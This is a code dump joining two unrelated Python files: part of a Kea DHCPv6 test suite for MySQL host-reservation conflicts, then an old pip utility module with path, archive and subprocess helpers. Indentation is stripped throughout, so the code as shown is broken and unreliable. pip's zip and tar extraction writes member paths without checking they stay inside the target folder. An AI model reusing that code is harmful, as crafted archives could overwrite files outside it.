srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
# bigger prefix pool + reservation
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::10')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'hw-address', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::1', '$(EMPTY)', 'MySQL', 1)
srv_control.upload_db_reservation('MySQL')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'reconfigured')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_copy_option('IA_NA')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::1', expect_include=False)
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_conflicts_reconfigure_server_with_reservation_of_used_address_2():
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::2')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 13)
srv_msg.response_check_suboption_content(13, 3, 'statuscode', 2)
# bigger prefix pool + reservation
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::10')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'hw-address', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::1', '$(EMPTY)', 'MySQL', 1)
srv_control.upload_db_reservation('MySQL')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'reconfigured')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::1', expect_include=False)
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_conflicts_reconfigure_server_with_reservation_of_used_address_renew_before_expire():
misc.test_setup()
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::2')
# Use MySQL reservation system.
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
# SAVE VALUES
srv_msg.client_save_option('IA_NA')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 13)
srv_msg.response_check_suboption_content(13, 3, 'statuscode', 2)
# bigger prefix pool + reservation
misc.test_setup()
srv_control.set_time('renew-timer', 105)
srv_control.set_time('rebind-timer', 106)
srv_control.set_time('valid-lifetime', 107)
srv_control.set_time('preferred-lifetime', 108)
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::3')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::2', '$(EMPTY)', 'MySQL', 1)
srv_control.upload_db_reservation('MySQL')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'reconfigured')
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_add_saved_option()
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('RENEW')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'validlft', 0)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::2')
srv_msg.response_check_suboption_content(5, 3, 'validlft', 107)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::3')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_copy_option('IA_NA')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::2')
@pytest.mark.v6
@pytest.mark.host_reservation
@pytest.mark.kea_only
def test_v6_host_reservation_mysql_conflicts_reconfigure_server_with_reservation_of_used_address_renew_after_expire():
misc.test_setup()
srv_control.set_time('renew-timer', 5)
srv_control.set_time('rebind-timer', 6)
srv_control.set_time('preferred-lifetime', 7)
srv_control.set_time('valid-lifetime', 8)
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::2')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'ia_id', '6661')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:11')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'ia_id', '6662')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('IA_NA')
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
# SAVE VALUES
srv_msg.client_save_option('IA_NA')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'ia_id', '6663')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 13)
srv_msg.response_check_suboption_content(13, 3, 'statuscode', 2)
# bigger prefix pool + reservation
srv_msg.forge_sleep(10, 'seconds')
misc.test_setup()
srv_control.set_time('renew-timer', 5)
srv_control.set_time('rebind-timer', 6)
srv_control.set_time('preferred-lifetime', 7)
srv_control.set_time('valid-lifetime', 8)
srv_control.config_srv_subnet('3000::/30', '3000::1-3000::2')
srv_control.enable_db_backend_reservation('MySQL')
srv_control.new_db_backend_reservation('MySQL', 'duid', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_control.update_db_backend_reservation('dhcp6_subnet_id', 1, 'MySQL', 1)
srv_control.ipv6_address_db_backend_reservation('3000::2', '$(EMPTY)', 'MySQL', 1)
srv_control.upload_db_reservation('MySQL')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'reconfigured')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'ia_id', 666)
srv_msg.client_copy_option('server-id')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:66:55:44:33:22:22')
srv_msg.client_add_saved_option()
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('RENEW')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'validlft', 0)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::2')
srv_msg.response_check_suboption_content(5, 3, 'validlft', 8)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::1')
misc.test_procedure()
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_does_include('Client', 'IA-NA')
srv_msg.client_send_msg('SOLICIT')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ADVERTISE')
misc.test_procedure()
srv_msg.client_copy_option('server-id')
srv_msg.client_copy_option('IA_NA')
srv_msg.client_sets_value('Client', 'DUID', '00:03:00:01:f6:f5:f4:f3:f2:01')
srv_msg.client_does_include('Client', 'client-id')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'REPLY')
srv_msg.response_check_include_option(3)
srv_msg.response_check_option_content(3, 'sub-option', 5)
srv_msg.response_check_suboption_content(5, 3, 'addr', '3000::2')
|
isc
|
joelpinheiro/safebox-smartcard-auth
|
Server/veserver/lib/python2.7/site-packages/pip/util.py
|
343
|
24172
|
import sys
import shutil
import os
import stat
import re
import posixpath
import zipfile
import tarfile
import subprocess
import textwrap
from pip.exceptions import InstallationError, BadCommand, PipError
from pip.backwardcompat import(WindowsError, string_types, raw_input,
console_to_str, user_site, PermissionError)
from pip.locations import site_packages, running_under_virtualenv, virtualenv_no_global
from pip.log import logger
from pip._vendor import pkg_resources
from pip._vendor.distlib import version
__all__ = ['rmtree', 'display_path', 'backup_dir',
'find_command', 'ask', 'Inf',
'normalize_name', 'splitext',
'format_size', 'is_installable_dir',
'is_svn_page', 'file_contents',
'split_leading_dir', 'has_leading_dir',
'make_path_relative', 'normalize_path',
'renames', 'get_terminal_size', 'get_prog',
'unzip_file', 'untar_file', 'create_download_cache_folder',
'cache_download', 'unpack_file', 'call_subprocess']
def get_prog():
try:
if os.path.basename(sys.argv[0]) in ('__main__.py', '-c'):
return "%s -m pip" % sys.executable
except (AttributeError, TypeError, IndexError):
pass
return 'pip'
def rmtree(dir, ignore_errors=False):
shutil.rmtree(dir, ignore_errors=ignore_errors,
onerror=rmtree_errorhandler)
def rmtree_errorhandler(func, path, exc_info):
"""On Windows, the files in .svn are read-only, so when rmtree() tries to
remove them, an exception is thrown. We catch that here, remove the
read-only attribute, and hopefully continue without problems."""
exctype, value = exc_info[:2]
if not ((exctype is WindowsError and value.args[0] == 5) or #others
(exctype is OSError and value.args[0] == 13) or #python2.4
(exctype is PermissionError and value.args[3] == 5) #python3.3
):
raise
# file type should currently be read only
if ((os.stat(path).st_mode & stat.S_IREAD) != stat.S_IREAD):
raise
# convert to read/write
os.chmod(path, stat.S_IWRITE)
# use the original function to repeat the operation
func(path)
def display_path(path):
"""Gives the display value for a given path, making it relative to cwd
if possible."""
path = os.path.normcase(os.path.abspath(path))
if path.startswith(os.getcwd() + os.path.sep):
path = '.' + path[len(os.getcwd()):]
return path
def backup_dir(dir, ext='.bak'):
"""Figure out the name of a directory to back up the given dir to
(adding .bak, .bak2, etc)"""
n = 1
extension = ext
while os.path.exists(dir + extension):
n += 1
extension = ext + str(n)
return dir + extension
def find_command(cmd, paths=None, pathext=None):
"""Searches the PATH for the given command and returns its path"""
if paths is None:
paths = os.environ.get('PATH', '').split(os.pathsep)
if isinstance(paths, string_types):
paths = [paths]
# check if there are funny path extensions for executables, e.g. Windows
if pathext is None:
pathext = get_pathext()
pathext = [ext for ext in pathext.lower().split(os.pathsep) if len(ext)]
# don't use extensions if the command ends with one of them
if os.path.splitext(cmd)[1].lower() in pathext:
pathext = ['']
# check if we find the command on PATH
for path in paths:
# try without extension first
cmd_path = os.path.join(path, cmd)
for ext in pathext:
# then including the extension
cmd_path_ext = cmd_path + ext
if os.path.isfile(cmd_path_ext):
return cmd_path_ext
if os.path.isfile(cmd_path):
return cmd_path
raise BadCommand('Cannot find command %r' % cmd)
def get_pathext(default_pathext=None):
"""Returns the path extensions from environment or a default"""
if default_pathext is None:
default_pathext = os.pathsep.join(['.COM', '.EXE', '.BAT', '.CMD'])
pathext = os.environ.get('PATHEXT', default_pathext)
return pathext
def ask_path_exists(message, options):
for action in os.environ.get('PIP_EXISTS_ACTION', '').split():
if action in options:
return action
return ask(message, options)
def ask(message, options):
"""Ask the message interactively, with the given possible responses"""
while 1:
if os.environ.get('PIP_NO_INPUT'):
raise Exception('No input was expected ($PIP_NO_INPUT set); question: %s' % message)
response = raw_input(message)
response = response.strip().lower()
if response not in options:
print('Your response (%r) was not one of the expected responses: %s' % (
response, ', '.join(options)))
else:
return response
class _Inf(object):
"""I am bigger than everything!"""
def __eq__(self, other):
if self is other:
return True
else:
return False
def __ne__(self, other):
return not self.__eq__(other)
def __lt__(self, other):
return False
def __le__(self, other):
return False
def __gt__(self, other):
return True
def __ge__(self, other):
return True
def __repr__(self):
return 'Inf'
Inf = _Inf() #this object is not currently used as a sortable in our code
del _Inf
_normalize_re = re.compile(r'[^a-z]', re.I)
def normalize_name(name):
return _normalize_re.sub('-', name.lower())
def format_size(bytes):
if bytes > 1000*1000:
return '%.1fMB' % (bytes/1000.0/1000)
elif bytes > 10*1000:
return '%ikB' % (bytes/1000)
elif bytes > 1000:
return '%.1fkB' % (bytes/1000.0)
else:
return '%ibytes' % bytes
def is_installable_dir(path):
"""Return True if `path` is a directory containing a setup.py file."""
if not os.path.isdir(path):
return False
setup_py = os.path.join(path, 'setup.py')
if os.path.isfile(setup_py):
return True
return False
def is_svn_page(html):
"""Returns true if the page appears to be the index page of an svn repository"""
return (re.search(r'<title>[^<]*Revision \d+:', html)
and re.search(r'Powered by (?:<a[^>]*?>)?Subversion', html, re.I))
def file_contents(filename):
fp = open(filename, 'rb')
try:
return fp.read().decode('utf-8')
finally:
fp.close()
def split_leading_dir(path):
path = str(path)
path = path.lstrip('/').lstrip('\\')
if '/' in path and (('\\' in path and path.find('/') < path.find('\\'))
or '\\' not in path):
return path.split('/', 1)
elif '\\' in path:
return path.split('\\', 1)
else:
return path, ''
def has_leading_dir(paths):
"""Returns true if all the paths have the same leading path name
(i.e., everything is in one subdirectory in an archive)"""
common_prefix = None
for path in paths:
prefix, rest = split_leading_dir(path)
if not prefix:
return False
elif common_prefix is None:
common_prefix = prefix
elif prefix != common_prefix:
return False
return True
def make_path_relative(path, rel_to):
"""
Make a filename relative, where the filename path, and it is
relative to rel_to
>>> make_relative_path('/usr/share/something/a-file.pth',
... '/usr/share/another-place/src/Directory')
'../../../something/a-file.pth'
>>> make_relative_path('/usr/share/something/a-file.pth',
... '/home/user/src/Directory')
'../../../usr/share/something/a-file.pth'
>>> make_relative_path('/usr/share/a-file.pth', '/usr/share/')
'a-file.pth'
"""
path_filename = os.path.basename(path)
path = os.path.dirname(path)
path = os.path.normpath(os.path.abspath(path))
rel_to = os.path.normpath(os.path.abspath(rel_to))
path_parts = path.strip(os.path.sep).split(os.path.sep)
rel_to_parts = rel_to.strip(os.path.sep).split(os.path.sep)
while path_parts and rel_to_parts and path_parts[0] == rel_to_parts[0]:
path_parts.pop(0)
rel_to_parts.pop(0)
full_parts = ['..']*len(rel_to_parts) + path_parts + [path_filename]
if full_parts == ['']:
return '.' + os.path.sep
return os.path.sep.join(full_parts)
def normalize_path(path):
"""
Convert a path to its canonical, case-normalized, absolute version.
"""
return os.path.normcase(os.path.realpath(os.path.expanduser(path)))
def splitext(path):
"""Like os.path.splitext, but take off .tar too"""
base, ext = posixpath.splitext(path)
if base.lower().endswith('.tar'):
ext = base[-4:] + ext
base = base[:-4]
return base, ext
def renames(old, new):
"""Like os.renames(), but handles renaming across devices."""
# Implementation borrowed from os.renames().
head, tail = os.path.split(new)
if head and tail and not os.path.exists(head):
os.makedirs(head)
shutil.move(old, new)
head, tail = os.path.split(old)
if head and tail:
try:
os.removedirs(head)
except OSError:
pass
def is_local(path):
"""
Return True if path is within sys.prefix, if we're running in a virtualenv.
If we're not in a virtualenv, all paths are considered "local."
"""
if not running_under_virtualenv():
return True
return normalize_path(path).startswith(normalize_path(sys.prefix))
def dist_is_local(dist):
"""
Return True if given Distribution object is installed locally
(i.e. within current virtualenv).
Always True if we're not in a virtualenv.
"""
return is_local(dist_location(dist))
def dist_in_usersite(dist):
"""
Return True if given Distribution is installed in user site.
"""
if user_site:
return normalize_path(dist_location(dist)).startswith(normalize_path(user_site))
else:
return False
def dist_in_site_packages(dist):
"""
Return True if given Distribution is installed in distutils.sysconfig.get_python_lib().
"""
return normalize_path(dist_location(dist)).startswith(normalize_path(site_packages))
def dist_is_editable(dist):
"""Is distribution an editable install?"""
#TODO: factor out determining editableness out of FrozenRequirement
from pip import FrozenRequirement
req = FrozenRequirement.from_dist(dist, [])
return req.editable
def get_installed_distributions(local_only=True,
skip=('setuptools', 'pip', 'python', 'distribute'),
include_editables=True,
editables_only=False):
"""
Return a list of installed Distribution objects.
If ``local_only`` is True (default), only return installations
local to the current virtualenv, if in a virtualenv.
``skip`` argument is an iterable of lower-case project names to
ignore; defaults to ('setuptools', 'pip', 'python'). [FIXME also
skip virtualenv?]
If ``editables`` is False, don't report editables.
If ``editables_only`` is True , only report editables.
"""
if local_only:
local_test = dist_is_local
else:
local_test = lambda d: True
if include_editables:
editable_test = lambda d: True
else:
editable_test = lambda d: not dist_is_editable(d)
if editables_only:
editables_only_test = lambda d: dist_is_editable(d)
else:
editables_only_test = lambda d: True
return [d for d in pkg_resources.working_set
if local_test(d)
and d.key not in skip
and editable_test(d)
and editables_only_test(d)
]
def egg_link_path(dist):
"""
Return the path for the .egg-link file if it exists, otherwise, None.
There's 3 scenarios:
1) not in a virtualenv
try to find in site.USER_SITE, then site_packages
2) in a no-global virtualenv
try to find in site_packages
3) in a yes-global virtualenv
try to find in site_packages, then site.USER_SITE (don't look in global location)
For #1 and #3, there could be odd cases, where there's an egg-link in 2 locations.
This method will just return the first one found.
"""
sites = []
if running_under_virtualenv():
if virtualenv_no_global():
sites.append(site_packages)
else:
sites.append(site_packages)
if user_site:
sites.append(user_site)
else:
if user_site:
sites.append(user_site)
sites.append(site_packages)
for site in sites:
egglink = os.path.join(site, dist.project_name) + '.egg-link'
if os.path.isfile(egglink):
return egglink
def dist_location(dist):
"""
Get the site-packages location of this distribution. Generally
this is dist.location, except in the case of develop-installed
packages, where dist.location is the source code location, and we
want to know where the egg-link file is.
"""
egg_link = egg_link_path(dist)
if egg_link:
return egg_link
return dist.location
def get_terminal_size():
"""Returns a tuple (x, y) representing the width(x) and the height(x)
in characters of the terminal window."""
def ioctl_GWINSZ(fd):
try:
import fcntl
import termios
import struct
cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,
'1234'))
except:
return None
if cr == (0, 0):
return None
if cr == (0, 0):
return None
return cr
cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
if not cr:
try:
fd = os.open(os.ctermid(), os.O_RDONLY)
cr = ioctl_GWINSZ(fd)
os.close(fd)
except:
pass
if not cr:
cr = (os.environ.get('LINES', 25), os.environ.get('COLUMNS', 80))
return int(cr[1]), int(cr[0])
def current_umask():
"""Get the current umask which involves having to set it temporarily."""
mask = os.umask(0)
os.umask(mask)
return mask
def unzip_file(filename, location, flatten=True):
"""
Unzip the file (with path `filename`) to the destination `location`. All
files are written based on system defaults and umask (i.e. permissions are
not preserved), except that regular file members with any execute
permissions (user, group, or world) have "chmod +x" applied after being
written. Note that for windows, any execute changes using os.chmod are
no-ops per the python docs.
"""
if not os.path.exists(location):
os.makedirs(location)
zipfp = open(filename, 'rb')
try:
zip = zipfile.ZipFile(zipfp)
leading = has_leading_dir(zip.namelist()) and flatten
for info in zip.infolist():
name = info.filename
data = zip.read(name)
fn = name
if leading:
fn = split_leading_dir(name)[1]
fn = os.path.join(location, fn)
dir = os.path.dirname(fn)
if not os.path.exists(dir):
os.makedirs(dir)
if fn.endswith('/') or fn.endswith('\\'):
# A directory
if not os.path.exists(fn):
os.makedirs(fn)
else:
fp = open(fn, 'wb')
try:
fp.write(data)
finally:
fp.close()
mode = info.external_attr >> 16
# if mode and regular file and any execute permissions for user/group/world?
if mode and stat.S_ISREG(mode) and mode & 0o111:
# make dest file have execute for user/group/world (chmod +x)
# no-op on windows per python docs
os.chmod(fn, (0o777-current_umask() | 0o111))
finally:
zipfp.close()
def untar_file(filename, location):
"""
Untar the file (with path `filename`) to the destination `location`.
All files are written based on system defaults and umask (i.e. permissions
are not preserved), except that regular file members with any execute
permissions (user, group, or world) have "chmod +x" applied after being
written. Note that for windows, any execute changes using os.chmod are
no-ops per the python docs.
"""
if not os.path.exists(location):
os.makedirs(location)
if filename.lower().endswith('.gz') or filename.lower().endswith('.tgz'):
mode = 'r:gz'
elif filename.lower().endswith('.bz2') or filename.lower().endswith('.tbz'):
mode = 'r:bz2'
elif filename.lower().endswith('.tar'):
mode = 'r'
else:
logger.warn('Cannot determine compression type for file %s' % filename)
mode = 'r:*'
tar = tarfile.open(filename, mode)
try:
# note: python<=2.5 doesnt seem to know about pax headers, filter them
leading = has_leading_dir([
member.name for member in tar.getmembers()
if member.name != 'pax_global_header'
])
for member in tar.getmembers():
fn = member.name
if fn == 'pax_global_header':
continue
if leading:
fn = split_leading_dir(fn)[1]
path = os.path.join(location, fn)
if member.isdir():
if not os.path.exists(path):
os.makedirs(path)
elif member.issym():
try:
tar._extract_member(member, path)
except:
e = sys.exc_info()[1]
# Some corrupt tar files seem to produce this
# (specifically bad symlinks)
logger.warn(
'In the tar file %s the member %s is invalid: %s'
% (filename, member.name, e))
continue
else:
try:
fp = tar.extractfile(member)
except (KeyError, AttributeError):
e = sys.exc_info()[1]
# Some corrupt tar files seem to produce this
# (specifically bad symlinks)
logger.warn(
'In the tar file %s the member %s is invalid: %s'
% (filename, member.name, e))
continue
if not os.path.exists(os.path.dirname(path)):
os.makedirs(os.path.dirname(path))
destfp = open(path, 'wb')
try:
shutil.copyfileobj(fp, destfp)
finally:
destfp.close()
fp.close()
# member have any execute permissions for user/group/world?
if member.mode & 0o111:
# make dest file have execute for user/group/world
# no-op on windows per python docs
os.chmod(path, (0o777-current_umask() | 0o111))
finally:
tar.close()
def create_download_cache_folder(folder):
logger.indent -= 2
logger.notify('Creating supposed download cache at %s' % folder)
logger.indent += 2
os.makedirs(folder)
def cache_download(target_file, temp_location, content_type):
logger.notify('Storing download in cache at %s' % display_path(target_file))
shutil.copyfile(temp_location, target_file)
fp = open(target_file+'.content-type', 'w')
fp.write(content_type)
fp.close()
def unpack_file(filename, location, content_type, link):
filename = os.path.realpath(filename)
if (content_type == 'application/zip'
or filename.endswith('.zip')
or filename.endswith('.pybundle')
or filename.endswith('.whl')
or zipfile.is_zipfile(filename)):
unzip_file(filename, location, flatten=not filename.endswith(('.pybundle', '.whl')))
elif (content_type == 'application/x-gzip'
or tarfile.is_tarfile(filename)
or splitext(filename)[1].lower() in ('.tar', '.tar.gz', '.tar.bz2', '.tgz', '.tbz')):
untar_file(filename, location)
elif (content_type and content_type.startswith('text/html')
and is_svn_page(file_contents(filename))):
# We don't really care about this
from pip.vcs.subversion import Subversion
Subversion('svn+' + link.url).unpack(location)
else:
## FIXME: handle?
## FIXME: magic signatures?
logger.fatal('Cannot unpack file %s (downloaded from %s, content-type: %s); cannot detect archive format'
% (filename, location, content_type))
raise InstallationError('Cannot determine archive format of %s' % location)
def call_subprocess(cmd, show_stdout=True,
filter_stdout=None, cwd=None,
raise_on_returncode=True,
command_level=logger.DEBUG, command_desc=None,
extra_environ=None):
if command_desc is None:
cmd_parts = []
for part in cmd:
if ' ' in part or '\n' in part or '"' in part or "'" in part:
part = '"%s"' % part.replace('"', '\\"')
cmd_parts.append(part)
command_desc = ' '.join(cmd_parts)
if show_stdout:
stdout = None
else:
stdout = subprocess.PIPE
logger.log(command_level, "Running command %s" % command_desc)
env = os.environ.copy()
if extra_environ:
env.update(extra_environ)
try:
proc = subprocess.Popen(
cmd, stderr=subprocess.STDOUT, stdin=None, stdout=stdout,
cwd=cwd, env=env)
except Exception:
e = sys.exc_info()[1]
logger.fatal(
"Error %s while executing command %s" % (e, command_desc))
raise
all_output = []
if stdout is not None:
stdout = proc.stdout
while 1:
line = console_to_str(stdout.readline())
if not line:
break
line = line.rstrip()
all_output.append(line + '\n')
if filter_stdout:
level = filter_stdout(line)
if isinstance(level, tuple):
level, line = level
logger.log(level, line)
